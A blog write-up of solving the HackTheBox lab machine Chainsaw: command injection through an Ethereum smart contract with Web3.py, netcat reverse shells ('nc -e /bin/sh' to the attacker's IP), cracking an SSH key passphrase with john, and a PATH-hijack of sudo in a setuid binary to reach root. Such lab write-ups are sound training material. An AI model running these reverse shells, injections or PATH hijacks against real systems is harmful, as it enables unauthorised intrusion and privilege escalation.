HacktheBox — Chainsaw

sif0
InfoSec Write-ups
Published in
11 min readNov 23, 2019

--

hackthebox.eu

This is a write-up on how I solved Chainsaw from HacktheBox.

Hack the Box is an online platform where you practice your penetration testing skills.

As always, I try to explain how I understood the concepts here from the machine because I want to really understand how things work. So please, if I misunderstood a concept, please let me know.

About the box:

This box is one of my favorites from HacktheBox. It requires you to interact with an Ethereum client which has a smart contract that you can weaponize to perform code execution. I then searched for distributed private keys which are encrypted and can be craked thru John. To get root, I use a PATH hijacking technique since a binary that has its setuid bit set that calls sudo without its absolute path.

Recon:

I first run an initial nmap scan by invoking the command, saving it to my nmap directory:

Open ports are 21(vsftpd 3.0.3), 22(OpenSSH 7.7p1), and 9810 which nmap cannot identify. Looking for any vulnerabilities for vsftpd 3.0.3 and OpenSSH 7.7p1, I find none that is helpful for now.

Port 21(vsFTPD 3.0.3):

I try to login as anonymous to FTP. I see 3 files called WeaponizedPing.json, Weaponized.sol and address.txt. I download the files.

Port 9810

I then use curl to check port 9810, and I get connection refused.

Reading address.txt:

It contains hexadecimal characters which do not make sense for me yet.

root@kali:~/htb/boxes/chainsaw-10.10.10.142/writeup# cat address.txt 
0xB5DE84a38C87Fda17db862B29e080288C22Afd70

Reading Weaponized.json:

Reading the initial lines of the json file:

What stands out are the following: contractName, getDomain, and setDomain. The source also matches to “pragma solidity 0.4.24” and the sourcePath is /opt/WeaponizedPing/Weaponized.sol.

Checking the internet for pragma solidity, this is what I get:

I find a documentation file at https://solidity.readthedocs.io/en/v0.4.24/. Since I find nothing interesting yet, I check the other file.

Reading Weaponized.sol:

Checking the contents of Weaponized.sol, I see a getDomain function and setDomain which accepts a string_value.

pragma solidity ^0.4.24;contract WeaponizedPing 
{
string store = "google.com";
function getDomain() public view returns (string)
{
return store;
}
function setDomain(string _value) public
{
store = _value;
}
}

Solidity

So solidity is a contract-oriented, high-level language for implementing smart contracts.

Checking the link for introduction to Smart Contracts, the formatting of the file is similar to the Weaponized.sol. It seems that I am looking at the right thing. It also mentions that it is designed to target the Ethereum Virtual Machine(EVM). I also checked an intro for smart contracts:

Since I port 9810 is unknown to nmap, It dawned me that it might be the port where Ethereum is ran.

Since Ethereum is mentioned, I looked into what is Ethereum.

Ethereum

Ethereum is a blockchain. If you are unfamiliar how a blockchain works, there are enough resources out there for you to dive into. Ethereum uses a native cryptocurrency called Ether (ETH). It is purely digital, and can be sent to anyone anywhere in the world. Ethereum is programmable, which means it can be used to build new kinds of applications.

Web3.py

After reading documentations on how I can interact with the Ethereum blockchain, I cam across this resource:

To interact with the Ethereum blockchain, I will be using the Web3.py library. This is a good resource to learn it: https://www.dappuniversity.com/articles/web3-py-intro

This allows me to transact with the blockchain by reading information from it, writing new transaction data to it, or executing business logic with smart contracts. To get started, I first install web3:

pip3 install web3

I then run a Python3 interpreter, and import Web3:

from web3 import Web3

Then I set the url variable pointing to the Chainsaw machine and port where the Ethereum client is listening:

url = "http://10.10.10.142:9810"

I initiate a web connection:

web3 = Web3(Web3.HTTPProvider(url))

Then check if I am connected:

print(web3.isConnected())

Now I need to make a Python representation of the smart contract I want to interact with. This can be done by providing the ABI which stands for “Abstract Binary Interface” and the contract’s address. The ABI can be found from Weaponized.json file and the address from address.txt. The ABI looks like this:

I then import json:

import json

Then I set the ABI and address accordingly:

abi=json.loads('[{"constant": true,"inputs": [],"name": "getDomain","outputs":[{"name": "","type": "string"}],"payable": false,"stateMutability": "view","type": "function"},{"constant": false,"inputs": [{"name": "_value","type": "string"}],"name": "setDomain","outputs": [],"payable": false,"stateMutability": "nonpayable","type": "function"}]')address = "0xcB56afA7c7a86f4852cf9066DFBb71272d27eFdf"

I then define the contract with its Python representation:

contract = web3.eth.contract(address=address, abi=abi)

I then set a web3 default account:

web3.eth.defaultAccount = web3.eth.accounts[0]

Then I use the set function to set the domain where the ping will be sent(from the smart contract):

print(contract.functions.setDomain('10.10.14.72').transact())

Since I am able to execute a ping, and seems like it’s being passed to bash, I can add an ‘&’ and put a malicious command after it like the following, which is a reverse shell:

nc -e /bin/sh 10.10.14.72 9003

Running that line in the Python interpreter:

I then get a reverse shell as the user administrator, and appropriately spawn a tty using Python:

Note that the address changes every time the machines boots. Just connect to the FTP server and download the address.txt file from it.

administrator → bobby

Checking user directories under /home, I see 2 users called administrator and bobby. Note that I don’t have read access on the bobby directory:

Checking what’s under the directory of administrator, I see a chainsaw-emp.csv file. I transfer it to my machine by using cat and piping its output to nc(netcat). I then check the integrity of the file:

Opening chainsaw-emp.csv:

Employees,Active,Position
arti@chainsaw,No,Network Engineer
bryan@chainsaw,No,Java Developer
bobby@chainsaw,Yes,Smart Contract Auditor
lara@chainsaw,No,Social Media Manager
wendy@chainsaw,No,Mobile Application Developer

I see a list of possible usernames and their position. I then try reading /etc/passwd to gain more information about the users:

It seems that the default shell for arti, lara, bryan, and wendy is /bin/false, which basically means that they don’t have a shell when they login. Note also that their home directories are non-existent since only administrator and bobby directories are under /home. Bobby has /bin/bash as its default shell.

I see that there is a gen.py file and a directory called pub:

administrator@chainsaw:/home/administrator/maintain$ cat gen.py
cat gen.py
#!/usr/bin/python
from Crypto.PublicKey import RSA
from os import chmod
import getpass
def generate(username,password):
key = RSA.generate(2048)
pubkey = key.publickey()
pub = pubkey.exportKey('OpenSSH')
priv = key.exportKey('PEM',password,pkcs=1)
filename = "{}.key".format(username)with open(filename, 'w') as file:
chmod(filename, 0600)
file.write(priv)
file.close()
with open("{}.pub".format(filename), 'w') as file:
file.write(pub)
file.close()
# TODO: Distribute keys via ProtonMailif __name__ == "__main__":
while True:
username = raw_input("User: ")
password = getpass.getpass()
generate(username,password)

It seems that gen.py just generates a private and public key. Note that there is a TODO which says to distribute keys via ProtonMail.

Checking the directory pub, I see existing public keys for the mentioned users, but not private keys.

What’s interesting is the /.ipfs folder under the administrator directory. IPFS stands for interplanetary file system. You can learn more about it from these resources: https://ipfs.io/ and https://flyingzumwalt.gitbooks.io/decentralized-web-primer/install-ipfs/lessons/initialize-repository.html

Since there may be files under this directory, I run grep to check for any files that mentioned bobby(since keys are to be distributed).

grep -r bobby .

Note that there is an interesting line where a filename of bobby.key.enc is mentioned. I used cat to read the file:

I can see that it’s a message from the IT department to bobby regarding his Ubuntu Server Private RSA key. Checking the contents:

It seems like its base64 encoded. I decode it and save the file to bobby.key.decoded:

Since it is an encrypted private key, I can use ssh2john to convert it to a crackable format for john:

I then use john to crack the password for the private key:

john --wordlist=/usr/share/wordlists/rockyou.txt bobby.key.john

John then cracks the private key and finds that it uses the password jackychain.

I then try to login using the private key, using the password jackychain:

And I successfully login and now I can read user.txt

bobby@chainsaw:~$ cat user.txt 
af8d9df99....

bobby → root:

Checking for files under the bobby directory, I see a binary called ChainsawClub that has its setuid bit set and another set of json and sol files.

I try to execute the binary:

It asks for a username:

After trying username of test and password test, it doesn’t work. What I did is to just see the flow of the binary.

Reading ChainsawClub.sol:

It has a string username as nobody and a password, which looks like a hash. I check for the functions and it’s more complicated than the json and sol files I had from the initial step(from the FTP).

I also run strings on ChainsawClub binary:

There is an interesting line from the output.

sudo -i -u root /root/ChainsawClub/dist/ChainsawClub/ChainsawClub

This is improper as I can create a file called “sudo”, add it to the PATH variable so that when I run the ChainsawClub binary and it calls sudo, it will look for any binary called sudo, prioritizing left to right of the variable PATH. Checking the PATH using env:

PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

I first include the working directory to the PATH:

export PATH=.:$PATH

Checking the modified PATH thru the env command:

PATH=.:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

Notice that the PATH was prepended with “.”

I then setup tcpdump to listen for ICMP packets on the interface tun0, and run the binary ChainsawClub:

Notice that I get ping to my machine. I then check if nc (netcat) is installed on the machine. Then I try to get a reverse shell just to check if I am able to:

Since I am able to get a connection as the user bobby, I then edit the contents of the “sudo” file to:

#!/bin/bashnc -e /bin/sh 10.10.14.72 9001

Now when I run the ChainsawClub binary, when it calls “sudo”, rather than callling /usr/bin/sudo, it calls the sudo in the current directory.

And now I get a shell. When I run the command id, I see that my uid=0(root).

When I read root.txt, the contents is not the root flag:

root@chainsaw:/root# cat root.txt
cat root.txt
Mine deeper to get rewarded with root coin (RTC)...

Extra challenge:

Since I am root but still do not have the root flag, I looked for ways to find it. I first set up a proper shell:

I then looked for interesting binaries that can hint to what should be done. After a while, I was able find the root flag by using bmap and using the mode slack to see the root flag. You can read more about slack space hiding here: https://www.security-box.org/article35/slack-space-hiding

Basically, when a file is created, a “block” is dedicated to that file. Putting contents on the file increases the file size and lessens the slack size(as long as the contents does not fully consume the block size). It can be represented by this formula:

block size = file size + slack size

And now I can see the root flag..

So that’s how I solved Chainsaw from Hack the Box. I learned tons of stuff solving this box, and the techniques required was very new for me(interaction with Ethereum client, IPFS, and Bmap slack space hiding).

I hoped you learned something from this. Thanks for reading my write-up! Cheers! 🍺

--

--